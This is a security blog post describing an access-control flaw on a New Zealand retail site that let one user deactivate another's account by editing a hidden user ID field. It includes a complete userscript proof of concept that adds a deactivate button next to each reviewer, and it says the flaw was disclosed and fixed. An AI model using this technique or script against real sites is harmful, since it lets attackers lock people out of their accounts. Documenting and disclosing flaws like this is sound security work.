Featured image of post Deactivating Other People's Accounts on a Retail Website

Deactivating Other People's Accounts on a Retail Website

Another reason to never trust that the user is who they say they are.

Introduction

In the previous article on changing the avatars of other accounts I briefly discussed how each account has a user ID that is associated with it. We saw how knowing the ID of another account could be used to change that account’s avatar. It turns out there’s something else we can do that is way more interesting.

User Management

This website allows one account to be managed by many users. This would be useful for a business, for example, where it may have more than one person purchasing items from this website. When you create an account you automatically have the ability to start adding more users under your own account. These settings can be found in “user management” section of the account menu. Not only can we change the settings of a user that has signed up underneath us but also the settings of our own account.

Some of the options we have available to us.

As you can see in the image above, one of the settings is named “User Active”. If we uncheck this box and save the form, the currently signed in user is signed out and is unable to sign back in without opening a support ticket. I don’t know if this is intentional, since it seems a little strange that a user can brick their own account on accident (ask me how I know).

Targeting Another User

Right clicking the form (specifically the submit button) and inspecting the elements reveals a hidden field nearby with a user ID in it. We know what to do with this!

The hidden user ID field in the user management form.

Let’s see what happens if we were to replace that user ID with the user ID of a different account (that we control, of course). Let’s also ensure that the “User Active” checkbox isn’t ticked. After submitting the form, the page reloads and the “User Active” checkbox is ticked again. Upon reloading the tab with the target user account we can see that we are redirected to the sign in page. Any attempt to sign in results in the following error.

Uh-oh! It seems as though we can deactivate anybody's account.

Similar to the previous issues I’ve found on this website, this one comes down to the backend not checking whether or not we have permission to perform an action.

A Proof of Concept

Since this issue is fairly bad I decided to make a userscript that could make deactivating user accounts as simple as clicking a button. If you are unfamiliar, a userscript is like a mini browser extension that is loaded into every page of a particular website that enables some functionality. You’ll need a userscript browser extension to run them such as TamperMonkey.

This userscript adds a bomb button to each review that wasn’t written by a “guest”. When clicked, this button will deactivate the reviewer’s account. This works for testimonials as well.

Say goodbye to bad reviews!

It works on testimonials too!

You can find the source below. It’s not a lot of code for the amount of damage one could do with this hack. Of course, by the time you’re reading this, the issue will be fixed and this code won’t do anything but I like to show that you can achieve quite a lot with very little. The developers reading this will note that this could be simplified a lot more by simply using the Fetch API.

Click to expand source code
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// ==UserScript==
// @name         Deactivate Any User
// @namespace    https://jesse.hacks.nz/
// @version      2024-03-23
// @description  Adds a button to reviews that allows you to deactivate the reviewer's account.
// @author       Jesse Sheehan
// @match        https://www.website-name.co.nz/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    const containers =
        [...document.querySelectorAll(".js-report-user-content:not([data-uid='0'])")]
        .map(div => div.parentNode);

    containers.forEach(container => {
        const userId = container.querySelector(".js-report-user-content").getAttribute("data-uid");
        const div = document.createElement("div");
        div.innerHTML = `
        <form method="post" action="/my-account/user-management">
            <input type="hidden" name="user_id" value="${userId}" />
            <input type="hidden" name="submit_edit_user" value="Update Details" />
            <button type="submit" title="Deactivate User" style="width:24px; height: 24px; padding:0;">💣</button>
        </form>
        `;
        container.appendChild(div);
    });
})();

Interestingly, even after a user is deactivated all their reviews are still present on the site. This leads me to believe that it simply prevents users from signing in normally but preserves their user details.

And of course, since the user ID is just a positive integer, it would be trivial to write a script to deactivate everyone’s account with this trick.

Disclosure

This issue was found on the 24th of March 2024. Since I already had two other support tickets in flight I decided not to reach out to them specifically on this one. I was contacted on the 27th of March by this website’s support team and it was fixed within one week of that. They no longer include the user ID field in the form, instead opting to use the user ID of the logged in user. I was impressed by the response time of their development team and their eagerness to improve the security of their website.

Cover photo by Kai Pilger on Unsplash